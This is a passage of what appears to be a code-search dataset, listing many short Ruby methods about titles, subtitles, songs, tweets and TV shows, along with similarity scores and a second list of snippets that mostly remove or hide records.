"def subtitle\n if @subtitle.nil?\n subtitle_node = FeedTools::XmlHelper.try_xpaths(self.channel_node, [\n \"atom10:subtitle\",\n \"subtitle\",\n \"atom03:tagline\",\n \"tagline\",\n \"description\",\n \"summary\",\n \"abstract\",\n \"ABSTRACT\",\n \"content:encoded\",\n \"encoded\",\n \"content\",\n \"xhtml:body\",\n \"body\",\n \"xhtml:div\",\n \"div\",\n \"p:payload\",\n \"payload\",\n \"channelDescription\",\n \"blurb\",\n \"info\"\n ])\n @subtitle = FeedTools::HtmlHelper.process_text_construct(\n subtitle_node, self.feed_type, self.feed_version, [self.base_uri])\n if self.feed_type == \"atom\" ||\n self.configurations[:always_strip_wrapper_elements]\n @subtitle = FeedTools::HtmlHelper.strip_wrapper_element(@subtitle)\n end\n if @subtitle.blank?\n @subtitle = self.itunes_summary\n end\n if @subtitle.blank?\n @subtitle = self.itunes_subtitle\n end\n end\n return @subtitle\n end",
"def subtitle=(new_subtitle)\n @subtitle = new_subtitle\n end",
"def display_titles\n Anime.all.each do |movie|\n puts \"#{movie.rank} - #{movie.title}\"\n puts \"--------------------------------\"\n end\n end",
"def last_instant_text\n return @lines[-1]\n end",
"def show_title\n h2 { h @title.titles }\n text gs_title(@title)\n sources = []\n sources << a('Anime News Network Encyclopdia', :href => \"http://www.animenewsnetwork.com/encyclopedia/anime.php?id=#{@title.ann_id}\") unless @title.ann_id.nil?\n sources << a('AniDB', :href => \"http://anidb.net/perl-bin/animedb.pl?show=anime&aid=#{@title.anidb_id}\") unless @title.anidb_id.nil?\n \n unless sources.empty?\n p { \"View #{h @title.title} in #{sources.join(\", \")}.\" }\n end\n end",
"def display_song\n return \"Title: #{song_title}, Duration: #{duration}, Genre: #{genre}\"\n end",
"def display_song\n return \"Title: #{song_title}, Duration: #{duration}, Genre: #{genre}\"\n end",
"def show_last_results\n @last_results ||= \"0\"\n end",
"def subtitle_values\n []\n end",
"def right_subtitle(value = nil, options = nil)\n end",
"def episode_title; end",
"def last_text\n last_ele TEXT_VIEW\n end",
"def now_playing(m, nick)\n\t\t\t\tnick = CGI::escape(nick)\n\t\t\t\tartist, track = get_data(nick)\n\t\t\t\tm.reply(\"#{nick} has recently played: #{artist} - #{track}\")\n\t\t\tend",
"def itunes_subtitle=(new_itunes_subtitle)\n @itunes_subtitle = new_itunes_subtitle\n end",
"def display_timeline\n timeline_search_results = []\n TWITTER.home_timeline.each do |tweet|\n timeline_search_results << [tweet.user.name, tweet.text]\n # binding.pry\n end\n timeline_search_results\n end",
"def last_tweet\r\n\t\tresult = @client.search(@twitter_search_keyword)\r\n\t\tresult.first.full_text\r\n\tend",
"def print_title_track track\r\n\tputs('Track title is: ' + track.name)\r\n \tputs('Track file location is: ' + track.location)\r\nend",
"def last_stdout\n strip_duration(@last_stdout)\n end",
"def file_download_label(masterfile)\n # Check to see if the file name is longer than 25 characters\n if 20 > masterfile.descMetadata.title[0].length \n label_display = masterfile.descMetadata.title[0]\n else\n label_display = truncate(masterfile.descMetadata.title[0], length: 15)\n label_display << \".\"\n label_display << masterfile.descMetadata.title[0].split('.').last\n end\n end",
"def ars_title\n self.ars_titles.order('percent_appears desc').limit(1).first.title\n end",
"def add_titles_to_video\n\n\t@durations_array = @sentences_to_extract.map{|s| convert_to_duration(s.start_at + (CARD_LENGTH*1000))}\n\n\tp @durations_array\n\t# @durations_array.each |duration|\n\n\t# end\nend",
"def _gen_caption_\n start_time = _formatted_time(index * Erika::Config.slide_duration) # Seconds\n end_time = _formatted_time((index + 1) * Erika::Config.slide_duration) # Seconds\n @caption = [\n '',\n index + 1,\n \"#{start_time} --> #{end_time}\",\n title,\n ''\n ]\n end",
"def show\n @scores = @music.machine.get_top_scores(@music.season, num: nil)[@music]\n end",
"def now_playing\n\t\tcurrent_track ? current_track.full_name : I18n.t(\"media.nothing_playing\")\n\tend",
"def index\n @subtitles = Subtitle.all.order(\"language ASC\")\n end",
"def report_count_subtitle_marks(options)\n file_count = 0\n subtitle_marks_count = 0\n Repositext::Cli::Utils.read_files(\n config.compute_glob_pattern(\n options['base-dir'] || :content_dir,\n options['file-selector'] || :all_files,\n options['file-extension'] || :at_extension\n ),\n options['file_filter'],\n nil,\n \"Reading AT files\",\n options\n ) do |content_at_file|\n subtitle_marks_count += content_at_file.contents.count('@')\n file_count += 1\n end\n $stderr.puts \"Found #{ subtitle_marks_count } subtitle_marks in #{ file_count } files at #{ Time.now.to_s }.\"\n end",
"def show_label_mmix_tubes(labels:)\n n = labels.length\n labels = labels.map { |label| \"<b>#{label}</b>\" }\n show do\n title 'Label master mix tubes'\n\n note \"Take out #{n} #{TUBE_MICROFUGE.pluralize(n)}\"\n note \"Write #{labels.to_sentence} on the tops of each tube\"\n end\n end",
"def prepare_for_display\n [\"#{film_title.title} #{speech} #{format.name}\", \"#{id}\"]\n end",
"def subtitle_fields\n []\n end",
"def titles_display\n\t\t\t@data[\"titles\"][\"display\"]\n\t\tend",
"def timeline_title\n if completed?\n \"Hearing type converted from #{appeal.readable_previous_hearing_request_type_for_task(id)}\"\\\n \" to #{appeal.readable_current_hearing_request_type_for_task(id)}\"\n end\n end",
"def view_last_news_helper\n out = ''\n @news = Newse.joins(:city).where('cities.subdomain' => request.subdomain).order('created_at desc').limit(8)\n if !@news.empty?\n @news.each do |news|\n out += \"<li>\"\n out += \"<em class='date'>#{news.created_at}</em>\"\n out += \"#{link_to news.name, {:controller => :tidings, :action=>:show, :id => news.id, :subdomain => request.subdomain}}\"\n out += \"</li>\"\n end\n else\n out += \"<li>Извините, новостей не добавлено!\"\n out += \"</li>\"\n end\n out.html_safe\n end",
"def select_last\n select(@data.index(@actor.current_title) || 0)\n end",
"def report_files_with_subtitles(options)\n total_csv_file_count = 0\n files_with_subtitles = []\n\n Repositext::Cli::Utils.read_files(\n config.compute_glob_pattern(\n options['base-dir'] || :content_dir,\n options['file-selector'] || :all_files,\n options['file-extension'] || :csv_extension\n ),\n options['file_filter'] || /\\.subtitle_markers\\.csv\\z/,\n nil,\n \"Reading subtitle marker CSV files\",\n options\n ) do |csv_file|\n total_csv_file_count += 1\n uniq_first_col_vals = csv_file.contents.scan(/^\\d+/).uniq\n if ['0'] != uniq_first_col_vals\n # File has non-zero timestamps\n file_base_name = csv_file.basename\n files_with_subtitles << file_base_name.gsub(/\\.subtitle_markers\\.csv\\z/, '.at')\n $stderr.puts \" - #{ file_base_name }\"\n end\n end\n\n summary_line = \"Found #{ files_with_subtitles.length } of #{ total_csv_file_count } CSV files with subtitles at #{ Time.now.to_s }.\"\n $stderr.puts summary_line\n report_file_path = File.join(config.base_dir(:reports_dir), 'files_with_subtitles.txt')\n File.open(report_file_path, 'w') { |f|\n f.write \"Files with subtitles\\n\"\n f.write '-' * 40\n f.write \"\\n\"\n f.write files_with_subtitles.join(\"\\n\")\n f.write \"\\n\"\n f.write '-' * 40\n f.write \"\\n\"\n f.write summary_line\n f.write \"\\n\\n\"\n f.write \"Command to generate this file: `repositext report files_with_subtitles`\\n\"\n }\n end",
"def caption; end",
"def text\n # if the title is not present, show the code\n x = get_translation(self.text_translations, self.time_series.current_locale, self.time_series.default_language)\n return x.present? ? x : self.original_code\n end",
"def share_text_short\n \"I'm looking at #{self.latest_name.titleize} on Dinesafe.\"\n end",
"def title\n default = \"[TITLE UNKNOWN]\"\n m245 = source_record['245']\n\n return default unless m245\n\n title = m245['a'] || m245['k']\n\n return default unless title\n\n title = title.sub(/\\s*[[:punct:]]+\\s*$/, '')\n\n subtitle = [m245['b'], m245['n'], m245['p'], m245['s']].compact.join('')\n subtitle = nil if subtitle.empty?\n subtitle = subtitle.sub(/\\s*[[:punct:]]+\\s*$/, '') if subtitle\n\n return [title, subtitle].compact.join(\": \")\n end",
"def print_track track\n\t\tputs('Title: ' + track.name.to_s)\n \tputs('File location: ' + track.location.to_s)\nend",
"def display_songs\n puts \"Your Discography\"\n songs.each do |song|\n puts \"* Artist: #{song.artist} - Song Name: #{song.title}\"\n end\n end",
"def display_name\n return '' unless @research_output.is_a?(ResearchOutput)\n return \"#{@research_output.title[0..49]} ...\" if @research_output.title.length > 50\n\n @research_output.title\n end",
"def set_subtitle\n @subtitle = Subtitle.find(params[:id])\n end",
"def last_label\n # @times.map { |time| time&.dig(:label) }.join(\" - \")\n @times&.last&.dig(:label)\n end",
"def showTail()\n puts \"tail is #{@tail.data}\"\n end",
"def get_verbose_name\n \"#{get_meeting_program_verbose_name}: #{rank}) #{athlete_name} (#{year_of_birth}), #{get_timing}\"\n end",
"def print_more(s)\n time = Time.now.localtime.strftime(\"[%k:%M:%S]\")\n lines = s.split(\"\\n\")\n\n lines.each_with_index do |line, index|\n if ((index+1) == lines.size)\n puts \"#{time} |_ #{line}\"\n else\n puts \"#{time} | #{line}\"\n end\n end\nend",
"def display\n puts \"#{GtCommon.capitalize(@headline)} -- (Liked: #{@like_number}) \\n\\n\"\n puts @sentence \n end",
"def title(title,tsize)\n unless title==nil\n if title.size > tsize || title.size == tsize\n title= title.slice(0,tsize-3)+\"...\"\n return title\n else\n return title\n end\n end \n end",
"def add_srt_data(text)\n language = Language.detect(text)\n text.gsub(/\\r\\n/, \"\\n\").split(/\\n\\n/).each do |block|\n index, times, text = block.split(/\\n/, 3)\n start_time, end_time = parse_srt_times(times)\n # TODO: Is this the best way to add records to an unsaved has_many?\n self.subtitles <<\n Subtitle.new(playable_media: self, language: language,\n start_time: start_time, end_time: end_time,\n text: text.chomp)\n end\n end",
"def lyrics\n if @file && @mp3\n self.play\n \n @file.each {|line| charPrint(line)}\n end\n end",
"def latest_update\n last = t('ddf.news.updates').keys.last\n t('ddf.news.updates')[last].html_safe\n rescue\n nil\n end",
"def print_last( fmt )\n printf( fmt, ulast, slast )\n end",
"def show\n set_up_twitter\n\n get_last_tweet\n get_five_last_tweets\n end",
"def get_video_title(youtube_url)\n doc = Hpricot(open(youtube_url))\n (doc/\"title\").each do |title|\n return $1 if title.inner_text =~ %r{YouTube - (.+)}\n end\nend",
"def play\r\n puts @recordings.last\r\n end",
"def site_subtitle\n \"Cool site with cool stuff\"\n end",
"def last_text\n last_ele static_text_class\n end",
"def display_resource(episode)\n \"#{episode.english_title}\"\n end",
"def display_back_time_span\n display_time_span(period)\n end",
"def our_songs\r\n\t@title = \"Our Songs\"\r\n end",
"def display_last_logs(n: 7)\n @queue.last(n).each do |common_log|\n printf \"%s %-#{columns - 4}s %s\" % [V_SEP, common_log.to_s, V_SEP]\n end\n end",
"def display_news\n system(\"clear\")\n puts \"\\n Daily Prophet News\"\n\n news= News.items\n\n puts \"\\n\"\n \n news.each.with_index(1) do |news_item, index|\n puts \"#{index}. #{news_item.title} - #{news_item.date}\"\n end\n\n read_news \n end",
"def last( )\n\t\t@title[/[A-Za-z0-9](?=[^A-Za-z0-9]*$)/].downcase\n\tend",
"def display_all_titles\n # Interface method\n end",
"def preview_text(max = 30)\n return \"\" if picture.nil?\n picture.name.to_s[0..max-1]\n end",
"def preview_text(max = 30)\n return \"\" if picture.nil?\n\n picture.name.to_s[0..max - 1]\n end",
"def preview_text(max = 30)\n return \"\" if picture.nil?\n\n picture.name.to_s[0..max - 1]\n end",
"def tweetable_title\n title.size > 119 ? title[0,116] + \"...\" : title\n end",
"def latest\n yaourt('-Sy')\n\n return yaourt('-Sp', '--print-format %v', @resource[:name]).chomp\n end",
"def get_title\n\t\tsynchronized do\n\t\t\t@vlc.puts \"get_title\"\n\t\t\t@vlc.gets.to_s\n\t\tend\n\tend",
"def texts; end",
"def dump_tail stats, out, title\n end",
"def get_verbose_name\n \"#{get_meeting_program_verbose_name}: #{rank}) #{get_team_name}, #{get_timing}\"\n end"
] |
[
"0.63475686",
"0.6194585",
"0.61317194",
"0.60926104",
"0.6050513",
"0.60283554",
"0.5932728",
"0.592458",
"0.58801436",
"0.5863749",
"0.5824886",
"0.5820066",
"0.58137244",
"0.58023244",
"0.5790305",
"0.5775616",
"0.57693094",
"0.57647765",
"0.5764667",
"0.57557064",
"0.5692322",
"0.5686614",
"0.5629193",
"0.55704945",
"0.5551761",
"0.5540358",
"0.55240893",
"0.55207187",
"0.5517619",
"0.5512292",
"0.5476992",
"0.5470717",
"0.54503965",
"0.54503965",
"0.5449243",
"0.543062",
"0.540305",
"0.537952",
"0.5376575",
"0.53613895",
"0.53577137",
"0.53423584",
"0.53373635",
"0.5332625",
"0.5329635",
"0.5323985",
"0.5320229",
"0.5298649",
"0.5290905",
"0.5279685",
"0.5256477",
"0.5254429",
"0.52520216",
"0.5247762",
"0.5244607",
"0.5241487",
"0.5237813",
"0.5236209",
"0.5228652",
"0.5227473",
"0.52225786",
"0.5220563",
"0.5211552",
"0.5183718",
"0.51789904",
"0.5174539",
"0.515228",
"0.5150187",
"0.51411754",
"0.51347065",
"0.51289445",
"0.51203465",
"0.5111193",
"0.5110384",
"0.5103266",
"0.50975275",
"0.5094665",
"0.50923556",
"0.50915575",
"0.50906986",
"0.50869024",
"0.50854075",
"0.5073471",
"0.5072341",
"0.50687045",
"0.50619537",
"0.50592417",
"0.5057775",
"0.5044412",
"0.5043474",
"0.50423443",
"0.5042067",
"0.5041247",
"0.5041247",
"0.504078",
"0.50385696",
"0.5031768",
"0.50278556",
"0.5015101",
"0.5014937"
] |
0.7237585
|
0
|
add a show to myItasa
|
def myitasa_add_show(show_id, version)
raise APIError, 'not logged in' if @authcode.nil?
res = call(
'myitasa/addShowToPref',
'authcode' => @authcode,
'show_id' => show_id,
'version' => version
)
res.body['Itasa_Rest2_Server_Myitasa']['addShowToPref']['shows'].values
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show() end",
"def show() end",
"def show() end",
"def show \r\n end",
"def show\n\t\t end",
"def show\n \t\n end",
"def show\n \t\n end",
"def show!\n visible(true)\n end",
"def show!\n visible(true)\n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n puts \"******* show *******\"\n end",
"def show\n self.visible = true\n end",
"def show\n set_musing\n end",
"def ab_showing(_experiment, _identity)\n raise \"Not implemented\"\n end",
"def show ; end",
"def show\n \n \n end",
"def show\n \n \n end",
"def show\n \n \n end",
"def show\n \n \n end",
"def show(show)\n dsl_data[:show] = show\n end",
"def show\n\t end",
"def show\n @visible = true\n self\n end",
"def show; @showing = false; end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n\n \n end",
"def show_works_widget\n @show_works_widget = true\n end",
"def show\n\t\t\n\tend",
"def show\n\t\t\n\tend",
"def show\n\t\t\n\tend",
"def show\n end",
"def show\r\n\r\n end",
"def show\r\n\r\n end",
"def show\r\n\r\n end",
"def show; end",
"def show; end",
"def show; end",
"def show \n \n end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end"
] |
[
"0.69521236",
"0.69521236",
"0.69521236",
"0.67624635",
"0.6714719",
"0.65808076",
"0.65808076",
"0.65358543",
"0.65358543",
"0.65144396",
"0.65144396",
"0.65144396",
"0.65144396",
"0.65144396",
"0.65144396",
"0.65144396",
"0.65144396",
"0.65144396",
"0.64824736",
"0.6397883",
"0.63786244",
"0.6369556",
"0.63646644",
"0.6344813",
"0.6344813",
"0.6344813",
"0.6344813",
"0.6313869",
"0.6295674",
"0.62925345",
"0.62573117",
"0.6246338",
"0.6246338",
"0.6246338",
"0.6246338",
"0.6246338",
"0.62208986",
"0.62066865",
"0.6201977",
"0.6201977",
"0.6201977",
"0.6187384",
"0.6173779",
"0.6173779",
"0.6173779",
"0.61647856",
"0.61647856",
"0.61646634",
"0.6163021",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339",
"0.6162339"
] |
0.6633239
|
5
|
remove a show from myItasa
|
def myitasa_remove_show(show_id, version)
raise APIError, 'not logged in' if @authcode.nil?
res = call(
'myitasa/removeShowFromPref',
'authcode' => @authcode,
'show_id' => show_id,
'version' => version
)
res.body['Itasa_Rest2_Server_Myitasa']['removeShowFromPref']['shows'].values
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def unfavorite_a_show(show_id)\n previous_clicks = Interest.where('user_id' => self.id,\n 'show_id' => show_id).all\n for elt in previous_clicks\n elt.destroy\n end\n end",
"def del\n\t\t#methode ruft show auf ==> !?! ==> err aber funktioniert\n\tend",
"def remove_show_hls\n @spriteset.remove_group(DISPLAY_TB)\n @spriteset.remove_group(TB_AOE)\n end",
"def remove_tvshow\n @watch = Watchlist.find_by(show_watched: false, user_id: params[:user_id], tv_show_id: params[:tv_show_id])\n\n if @watch\n @watch.destroy\n render json: @watch\n else\n render json: {\n error: \"Something went wrong\"\n }\n end\n end",
"def hide\n self.visible = false\n clear_dmg_preview\n end",
"def remove_from_list *list\n @show = @show - TinyPng::Path.get_all(list)\n end",
"def hide; end",
"def hide; end",
"def unhide\n client.post('/api/unhide', id: read_attribute(:name))\n end",
"def destroy\n @show = Show.find(params[:id])\n if(current_user && current_user.id == @show.posted_by)\n @show.remove_all_bands_from_show\n @show.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to(shows_url) }\n format.xml { head :ok }\n end\n \n rescue ActiveRecord::RecordNotFound\n logger.error(\"Attempt to access invalid show #{params[:id]}\")\n flash[:notice] = \"Invalid Show\"\n redirect_to :action => 'index'\n end",
"def unhide\n post(\"/api/unhide\", id: fullname)\n end",
"def remove plataform\n end",
"def delete_snat\n super\n end",
"def cleanup\n show do\n title \"Discard stripwells\"\n note \"Please discard all stripwells.\"\n operations.each do |op|\n op.input(\"PCR\").collection.mark_as_deleted\n end\n end\n \n show do\n title \"Make sure machine in parked position\"\n check \"Click \\\"Processes\\\" -> \\\"Parked\\\" icon.\"\n image \"Actions/Fragment Analyzer/frag_an_parked.JPG\"\n end\n end",
"def remove; end",
"def remove; end",
"def remove; end",
"def remove; end",
"def remove_widget(name)\n @browser.div(:id=>\"add_goodies_body\").li(:text=>/#{Regexp.escape(name)}/, :id=>/_remove_/).button.click\n end",
"def destroy\n show = Show.find(params[:id])\n show.destroy\n redirect_to shows_path\n end",
"def giveMeATresure\n posicion = rand(getVisibleTreasures.length)\n getVisibleTreasures.delete_at(posicion)\n end",
"def unhide app\n app.perform :unhide\n end",
"def hide\n @sel.visible = false\n @typeInd.visible = false\n @background.y += (@background.bitmap.height/8)\n @megaButton.y += 12\n for i in 0...@nummoves\n @button[\"#{i}\"].x -= ((i%2 == 0 ? 1 : -1)*@viewport.width/16)\n end\n @showMega = false\n @megaButton.src_rect.x = 0\n end",
"def hide!\n visible(false)\n end",
"def hide!\n visible(false)\n end",
"def hide!\n self[:hidden] = true\n self\n end",
"def show; @showing = false; end",
"def remove\n __flag__ :remove\n end",
"def hide\n @visible = false\n self\n end",
"def remove!; end",
"def remove_discard_supernatant(items)\n show do\n title 'Remove Supernatant'\n note 'Remove and discard supernatant from:'\n items.each do |item|\n bullet item.to_s\n end\n end\n end",
"def remove!\n package('skype') { action :remove }\n end",
"def destroy\n @inform = @slide.inform\n if @slide.slide_tag[-1] != \"*\"\n\n @blocks = @inform.blocks.where(slide_tag: @slide.slide_tag) #Saco una coleccion de blocks asociadas al slide que voy a borrar\n\n @block = @blocks.first #Es para pasarla al render en JS\n\n @samples = @inform.samples.where(slide_tag: @slide.slide_tag, name: \"Extendido\") #Saco una coleccion de samples asociadas al slide que voy a borrar\n @sample = @samples.first #Es para pasarla al render en JS\n # @recipient = Recipient.where(inform_id: @sample.inform_id, tag: @sample.recipient_tag).first #Es para pasarla al render en JS\n @recipient = nil\n\n \n\n \n @samples.each do |sample|\n sample.update(slide_tag: nil) #Borro todas las asociaciones encontradas en las tags de samples\n end\n\n @blocks.each do |block|\n block.update(slide_tag: nil) #Borro todas las asociaciones encontradas en las tags de samples\n end\n\n end\n @samplesc = @inform.samples.where(name: \"Cassette\") #Saco una coleccion de samples asociadas al slide que voy a borrar\n @blocks = @inform.blocks #Recargo todos los block para renderizado\n @slide.destroy\n end",
"def scheme_with_show?\n\t\terrors[:base] << \"Cannot delete scheme with shows.\"\n\t\treturn false if self.shows.any?\n\tend",
"def remove\n empty if @playlist.length <= 0\n item_names = @playlist.map { |item| \"#{item['name']} by #{item['artist']}\" }\n item_names << 'Back'\n selection = @prompt.select('Which track would you like to remove?', item_names).split(' by ')\n menu if selection == 'Back'\n @playlist.each_with_index do |item, index|\n @user.playlist.delete_at(index) if item['name'] == selection[0]\n end\n update_playlist\n end",
"def unfavorite_movie!(movie_id)\n toggle_favorite_movie(movie_id, false)\n end",
"def remove(album)\r\n found = find_by_name(album.name)\r\n @internal_list.delete(found) unless found.nil?\r\n \r\n self\r\n end",
"def undisplay\n @queue << \"undisplay\"\n end",
"def remove_picture(picture)\n end",
"def hide\n client.post('/api/hide', id: read_attribute(:name))\n end",
"def clear\n playlist_control :delete\n end",
"def on_click\n @status_window_tb.hide\n $game_map.clear_next_highlights\n reset_aoe_follows\n #@spriteset.remove_group(DISPLAY_TB) # @spriteset.dispose_highlights_tb\n remove_show_hls\n end",
"def unhide\n @goal = Mg::Goal.find(params[:id])\n @goal.update_attribute(:is_hidden, false)\n flash[:notice] = \"Goal #{@goal.name} has been restored.\"\n \n respond_to do |format|\n format.html { redirect_to mg_goals_url }\n format.xml { head :ok }\n end\n end",
"def unheart!(question)\n heart = self.hearts.find_by(question_id: question.id)\n heart.destroy!\n end",
"def remove(plugin); end",
"def remove\n super\n update_tabs\n end",
"def destroy\n @show.destroy\n respond_to do |format|\n format.html { redirect_to shows_url }\n format.json { head :no_content }\n end\n end",
"def remove_item\n\n end",
"def unhide!\n update_attribute(:hidden_at, nil)\n end",
"def unhide!\n update_attribute(:hidden_at, nil)\n end",
"def unhide!\n update_attribute(:hidden_at, nil)\n end",
"def fish_eaten(eat_fish)\n fish = find_fish(eat_fish)\n fishes.delete(fish)\nend",
"def destroy\n @show = Show.find(params[:id])\n @show.destroy\n\n respond_to do |format|\n format.html { redirect_to shows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @show = Show.find(params[:id])\n @show.destroy\n\n respond_to do |format|\n format.html { redirect_to shows_url }\n format.json { head :no_content }\n end\n end",
"def remove(host, plataform)\n @plataforms[plataform].rem(host)\n end",
"def delete_movie_from_list(arg)\n puts \"You've removed #{arg.title} from your list.\"\n arg.destroy\n main_menu_options\n end",
"def remove\n\t @pieces[chosen] -= 1\n\t update_buttons chosen\n\tend",
"def remove_player\n add_remove_player :remove\n end",
"def unfavorite!(wallpaper)\n favorite = self.favorites.find_by_wallpaper_id(wallpaper.id)\n favorite.destroy!\n end",
"def remove_picture\n res = system(remove_picture_cmd(info.file))\n\n raise Aur::Exception::FailedOperation, \"strip #{info.file}\" unless res\n end",
"def remove_song\n if self.yes?\n Song.decrement_counter(:yes_count, song.id)\n else\n Song.decrement_counter(:no_count, song.id)\n end\n end",
"def delete_park\n nomPark = builder.get_object(\"label_nomPark1\").text\n indexComboPark = ctrl.del_park nomPark\n\n #Maj de la combo box\n combo_main.remove_text (indexComboPark+1)\n\n #Vidage des frames\n framePan.each{|child| framePan.remove(child)}\n framePar.each{|child| framePar.remove(child)}\n\n #Changement du nom\n builder.get_object(\"label_nomPark1\").text=\"\\#Unknown\\#\"\n\n end",
"def remove_fish_river()\n @fish.slice(index,1)\nend",
"def unhide\n @test = Mg::Test.find(params[:id])\n @test.update_attribute(:is_hidden, false)\n flash[:notice] = \"Test #{@test.title} has been restored.\"\n \n respond_to do |format|\n format.html { redirect_to mg_tests_url }\n format.xml { head :ok }\n end\n end",
"def tradeoff_product_remove\n choice = Choice.find(params[:id]) \n choice.tips.clear\n render :update do |page|\n page.replace_html(\"dropzone_choice_#{choice.id}\", \"\")\n end\n end",
"def remove_from_hot_list\n self.update_attribute(:added_to_hot_list, nil)\n end",
"def destroy\n @tv_show = TvShow.find(params[:id])\n @tv_show.destroy\n\n respond_to do |format|\n format.html { redirect_to tv_shows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @spoiler.destroy\n\n head :no_content\n end",
"def remove_from_watchlist!(movie_id)\n toggle_movie_watchlist(movie_id, false)\n end",
"def remove(type); end",
"def ishowu_hide\n ishowu_menu_item(\"iShowU\", \"Hide iShowU\")\n end",
"def delete_hike(hike_instance)\n system 'clear'\n puts \"-----MY HIKES-----\"\n if @prompt.yes?(\"Are you sure you would like to delete #{hike_instance.trail.name}\" + hike_instance.date.strftime(\" - %m/%d/%Y\") + \"?\")\n hike_instance.destroy\n puts \"Hike has been deleted.\"\n else\n puts \"Hike has not been deleted\"\n end\n @prompt.keypress(\"Press any key to continue\")\n end",
"def remove_tower\n end",
"def delete_widget widget\n @widgets.delete widget\n end",
"def delete_widget widget\n @widgets.delete widget\n end",
"def destroy\n authorize! :destroy, Show, Ticketsection, Ticketrez, Rezlineitem\n @show.destroy\n\n respond_to do |format|\n format.html { redirect_to(shows_url) }\n format.xml { head :ok }\n end\n end",
"def unfavorite!(travel)\n favorites.find_by(travel_id: travel.id)&.destroy!\n end",
"def delete_front()\n \n end",
"def destroy\n # @mahasiswa = Mahasiswa.find(params[:id])\n @mahasiswa.destroy\n \n redirect_to mahasiswas_path\n end",
"def kill()\n #this removes the bullet object from the bullets array\n @bullets.delete(self)\n #this removes the model so it is no longer displayed on the window\n @model.remove\n end",
"def delete_utah\n $capitals.delete(:utah)\nend",
"def dump_show_img\n FileUtils.rm_rf(Dir.glob(\"#{project.image_for('', 'show_image_desk')}/*\"))\n FileUtils.rm_rf(Dir.glob(\"#{project.image_for('', 'show_image_mob')}/*\"))\n FileUtils.rm_rf(Dir.glob(\"#{project.image_for('', 'show')}/*\"))\n end",
"def delete!\n self.class._mwares.delete(name)\n self.class._before.delete(name)\n self.class._after.delete(name)\n self.class._central_mwares.delete(name)\n self\n end",
"def remove_good(good_id)\n @shop_goods.delete_at(good_id - 1)\n end",
"def unshare\n self.slug = nil\n end",
"def remove(movie)\n @items.select! do |m| \n m.title != movie.title && \n m.year != movie.year\n end\n\n self.save_to_file()\n puts \"#{movie.title} has been removed from your watchlist.\\n\".green\n end",
"def discardVisibleTreasure(t)\n \n end",
"def del_panel\n Panel.del_panel(pointer)\n end",
"def destroy\n\n #論理削除\n @video.is_show = false\n @video.save\n respond_to do |format|\n format.html { redirect_to videos_url, notice: '動画情報を削除しました' }\n format.json { head :no_content }\n end\n end",
"def remove\n @site = Site.find(params[:id])\n @study.sites.delete(@site)\n\n respond_to do |format|\n format.xml { head :ok }\n format.js\n end\n end",
"def hideOffer()\n @item['offer']['activate'] = false\n self.updateOffer()\n end",
"def unlike(meal)\n like = self.customer_meals.find_by_meal_id(meal.id)\n like.destroy!\n end",
"def remove_actor(actor_id)\r\n # アクターを削除\r\n @actors.delete($game_actors[actor_id])\r\n # プレイヤーをリフレッシュ\r\n $game_player.refresh\r\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def remove\n @suspect = Suspect.find(params[:id])\n @suspect.dropped_on = Date.current.to_date\n @suspect.save\n # redirect can be show_investigation or criminal_investigation\n redirect_to investigation_path(@suspect.investigation)\n end",
"def remove\n @ok_msg = t('other_popup_messages.correct.remove.lesson')\n if @ok\n bookmark = Bookmark.where(:user_id => current_user.id, :bookmarkable_type => 'Lesson', :bookmarkable_id => @lesson_id).first\n if bookmark.nil?\n @ok = false\n @error = I18n.t('activerecord.errors.models.bookmark.problem_destroying_for_lesson')\n else\n bookmark.destroy\n if Bookmark.where(:user_id => current_user.id, :bookmarkable_type => 'Lesson', :bookmarkable_id => @lesson_id).any?\n @ok = false\n @error = I18n.t('activerecord.errors.models.bookmark.problem_destroying_for_lesson')\n end\n end\n else\n @error = I18n.t('activerecord.errors.models.bookmark.problem_destroying_for_lesson')\n end\n if @destination == ButtonDestinations::FOUND_LESSON\n prepare_lesson_for_js\n render 'lessons/reload_compact.js'\n else\n render :json => {:ok => @ok, :msg => (@ok ? @ok_msg : @error)}\n end\n end",
"def deleteCard(pos)\n @cardsShown.delete_at(pos)\n end",
